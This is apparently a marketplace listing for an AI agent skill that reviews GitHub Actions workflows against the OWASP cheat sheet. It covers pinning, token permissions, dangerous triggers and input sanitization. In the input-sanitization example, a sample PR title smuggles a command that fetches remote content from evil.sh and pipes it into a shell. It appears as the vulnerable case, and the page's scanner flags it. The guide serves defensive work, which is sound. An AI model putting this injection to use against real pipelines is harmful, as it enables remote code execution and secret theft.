AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL unreviewed Apache-2.0 Self-run

Github Actions Security Review

skill-fyzel-claude-skills-github-actions-security-review · by Fyzel

>

No reviews yet
0 installs
31 views
0.0% view→install

Install

$ agentstack add skill-fyzel-claude-skills-github-actions-security-review

Open-source listing, not yet scanned by AgentStack. Follow the source repository for install instructions.

Security review

⚠ Flagged

1 finding(s); flagged for manual review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures
  • high Pipes remote content directly into a shell (remote code execution).

What it can access

  • Network access Used
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Reliability & compatibility

Not yet reviewed
0 installs to date
no reviews yet
2mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of Github Actions Security Review? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

GitHub Actions Security Verification

Based on the OWASP GitHub Actions Security Cheat Sheet

CI/CD pipelines hold long-lived credentials and a GITHUB_TOKEN that can have write access to the repository. A compromised workflow is a compromised production system. This skill treats GitHub Actions workflows as security-critical code and verifies them — or writes them — against every check documented in the OWASP GitHub Actions Security Cheat Sheet.

The cheat sheet frames the risk around four outcomes, and every check below maps back to preventing one of them:

  1. Secrets exfiltration — long-lived credentials printed to logs, sent to an external

endpoint, or embedded in an artifact via attacker-controlled code execution.

  1. GITHUB_TOKEN compromise — a write-scoped token stolen or misused to modify repo

contents, releases, or other GitHub resources.

  1. Cache/artifact poisoning — malicious content injected into a shared cache or artifact

that a later, more privileged workflow (e.g. a release pipeline) trusts and executes.

  1. Denial-of-wallet — attacker-triggered pipeline runs that rack up cost against paid

external services (e.g. LLM-based code review).


Step 0 — Locate what to verify

# Workflow files
find .github/workflows -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null

# Composite / local reusable actions (checked separately — same rules apply)
find .github/actions -type f -name "action.yml" -o -name "action.yaml" 2>/dev/null

# Dependency-update tooling, if present
find .github -maxdepth 1 -iname "dependabot.yml" -o -iname "renovate.json*" 2>/dev/null

If the user pasted a workflow inline or uploaded one, verify that file directly instead of searching the filesystem. If nothing is found, ask whether they want to scaffold a new, secure-by-default workflow instead — see Step 3.


Step 1 — Run the Security Gate

For every workflow and composite action file found, check each row below. Read the linked reference file for detection patterns and full remediation code before making a final call — some of these require judgement (e.g. "is this third-party action trustworthy?"), not just a grep.

🚫 CRITICAL — code-execution / secret-exfiltration risk. Do not certify a workflow as safe, and do not hand the user new YAML, while any of these are open.

| # | Control | OWASP section | Reference | |---|---------|----------------|-----------| | C1 | pull_request_target never checks out or executes untrusted PR head code | Avoid using the pull_request_target trigger | references/dangerous-triggers.md | | C2 | workflow_run isn't used to escalate privilege on attacker-influenced input; prefer workflow_call | Avoid using the workflow_run trigger | references/dangerous-triggers.md | | C3 | issue_comment workflows check actor authorization and check out an immutable commit SHA, never a branch/PR number | Use issue_comment trigger with extra care | references/dangerous-triggers.md | | C4 | No untrusted context (github.event.*, PR titles, issue bodies, branch names, etc.) is interpolated directly into run:; it's passed through an intermediate env: var | Sanitize user input | references/dangerous-triggers.md | | C5 | Every third-party action and reusable workflow is pinned to a full-length commit SHA (not a tag or branch), and the SHA is verified to belong to the claimed org/repo (no impostor commit) | Always pin all action and reusable workflow versions with a commit hash | references/pinning-and-supply-chain.md | | C6 | Workflow sets permissions: {} at the top level and grants only the specific, minimal permissions needed at the job level | Minimize GITHUB_TOKEN permissions | This file, § Minimize GITHUB_TOKEN permissions | | C7 | No reusable workflow call uses secrets: inherit; each required secret is passed explicitly | Eliminate secrets: inherit while reusing workflows | references/secrets-and-tokens.md | | C8 | actions/checkout sets persist-credentials: false unless the job genuinely needs to git push/perform other authenticated git operations | actions/checkout should be used with persist-credentials: false | references/secrets-and-tokens.md | | C9 | No static/hardcoded secret, API key, or token appears literally in workflow YAML | Secure handling of static credentials | references/secrets-and-tokens.md | | C10 | Any AI assistant step (Claude Code, Copilot, an LLM-based reviewer/triager) is scoped to the minimum tools/actions it needs, and is never reachable — with write-scoped GITHUB_TOKEN or secrets in context — from a trigger an untrusted user can fire | Be careful with AI assistant running in CI/CD pipeline | references/ai-assistants-and-input-sanitization.md |

⚠️ STANDARD — defense-in-depth and hygiene. Warn and recommend; don't block on these alone.

| # | Control | OWASP section | Reference | |---|---------|----------------|-----------| | S1 | CodeQL actions scanning and/or Zizmor are enabled and run as a required status check on PRs, plus a scheduled scan | Enable static analysis for GitHub Actions workflows | references/repo-and-runner-hardening.md | | S2 | Egress traffic from GitHub-hosted runners is monitored/restricted (e.g. Harden-Runner) | Restrict egress traffic from GitHub-hosted runners | references/repo-and-runner-hardening.md | | S3 | Self-hosted runners aren't used on public repos; if they are, they're ephemeral, network-restricted, hold no persistent sensitive data, and external-contributor runs require manual approval | Use self-hosted runners with extra caution | references/repo-and-runner-hardening.md | | S4 | Caching is disabled in release/publish workflows to prevent artifact/cache poisoning | Prevent artifact poisoning | references/repo-and-runner-hardening.md | | S5 | Third-party actions are vetted: trusted/active author, multiple contributors, stable code, no excessive permission requests | Use third-party actions with caution | references/pinning-and-supply-chain.md | | S6 | Dependabot/Renovate keeps actions current, with a cooldown (cooldown / minimumReleaseAge) before adopting new releases | Use automated dependency update tools | references/pinning-and-supply-chain.md | | S7 | Deployments to production/critical environments require manual approval via a GitHub Environment | Require approval for deployments or publications to critical environments | This file, § Deployment approval | | S8 | Static long-lived cloud/registry credentials are replaced with OIDC-based short-lived tokens ("trusted publishing") wherever the provider supports it | Try to eliminate all static credentials from your workflows | references/secrets-and-tokens.md | | S9 | If static credentials are unavoidable: passed at step level (not job level), preferring environment-scoped secrets, rotated regularly | Secure handling of static credentials | references/secrets-and-tokens.md | | S10 | Sensitive values that aren't GitHub secrets are masked with ::add-mask:: before they can hit the log | Mask sensitive data | references/secrets-and-tokens.md | | S11 | Secret scanning runs both pre-commit and on pull requests, failing the check on detection | Use secret scanning tools | references/secrets-and-tokens.md | | S12 | Repository settings are hardened: Require approval for all external contributors, default GITHUB_TOKEN restricted to read-only at the repo/org level, branch protection requiring reviews + status checks + signed commits + CODEOWNERS | Harden repository settings | references/repo-and-runner-hardening.md |

Two OWASP recommendations are organizational rather than per-file checks, but raise them whenever relevant: treat the CI/CD pipeline itself as critical production code (threat modeling, secure code review, pen testing — see references/repo-and-runner-hardening.md), and have an incident response plan in place for pipeline compromise before it's needed.


Gate response format

When any CRITICAL item is open, lead with this before anything else in the response:

🚫 GitHub Actions Security Gate — NOT CLEAR

.github/workflows/release.yml

  [C5] Unpinned third-party action — actions-ecosystem/action-something@v2 is pinned to a
       mutable tag, not a commit SHA.
       OWASP: "Always pin all action and reusable workflow versions with a commit hash..."
       Risk: a compromised or malicious release of this action runs with this workflow's
       permissions and any secrets in scope.
       Fix: pin to the full commit SHA, e.g.
       uses: actions-ecosystem/action-something@a1b2c3d... # v2.1.0

  [C6] Missing default-deny permissions — no top-level `permissions:` block, so GITHUB_TOKEN
       gets the repository's default permissions (commonly read/write).
       OWASP: "Always set permissions: {} at the workflow level..."
       Fix: add `permissions: {}` at the top of the workflow and grant only what each job needs.

2 CRITICAL issues found. Resolve these before this workflow is safe to merge/run.

List every STANDARD finding after the CRITICAL section (or on its own if there are no CRITICAL findings) as recommendations rather than blockers. If everything passes, say so plainly and summarize the checks that were verified — don't manufacture findings to seem thorough.


Step 2 — Category detail and patterns

Minimize GITHUB_TOKEN permissions (C6)

Default-deny at the workflow level, then grant narrowly per job:

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps: [...]

  publish-release:
    runs-on: ubuntu-latest
    permissions:
      contents: write   # only the job that actually needs it
    steps: [...]

Deployment approval (S7)

jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment: production   # requires manual approval if configured with required reviewers
    permissions:
      contents: read
      id-token: write
    steps: [...]

Configure the required reviewers list under the repository's Environments settings — the environment: key alone doesn't enforce approval, it just targets the environment whose rules then apply.

Sanitize user input (C4)

Never interpolate untrusted context straight into a shell step — GitHub expands ${{ ... }} before the shell ever sees it, so attacker-controlled text (a PR title, issue body, commit message, branch name) becomes literal shell syntax.

# ❌ Vulnerable — a PR titled `"; curl evil.sh | sh #` runs arbitrary shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"

# ✅ Safe — the value is passed as data through an env var, not spliced into the script
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building PR: $PR_TITLE"

Apply this consistently even for contexts that look "safe" (e.g. github.repository) — it costs nothing and removes the need to reason about which contexts are attacker-influenced today versus tomorrow.


Step 3 — Writing new workflows

When asked to scaffold a workflow rather than audit one, apply every CRITICAL control from the gate by construction: permissions: {} at the top, pinned-by-SHA actions, persist-credentials: false on checkout unless push access is required, no secrets: inherit, sanitized context handling, and OIDC over static credentials wherever the target (cloud provider, package registry) supports trusted publishing. Then run the same gate against the result before handing it back — generated code gets no exemption from verification.


Reference files

| File | Read when | |------|-----------| | references/dangerous-triggers.md | Any workflow uses pull_request_target, workflow_run, or issue_comment, or writes/reviews a fork-facing PR workflow | | references/pinning-and-supply-chain.md | Third-party actions/reusable workflows are used; setting up or reviewing Dependabot/Renovate | | references/secrets-and-tokens.md | Any workflow touches secrets, cloud/registry credentials, actions/checkout, or reusable-workflow secret passing | | references/repo-and-runner-hardening.md | Reviewing repo settings, self-hosted runners, static analysis (CodeQL/Zizmor) setup, or release/publish workflows (cache poisoning) | | references/ai-assistants-and-input-sanitization.md | A workflow runs an AI assistant/LLM step (code review, issue triage, auto-reply bots) |

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.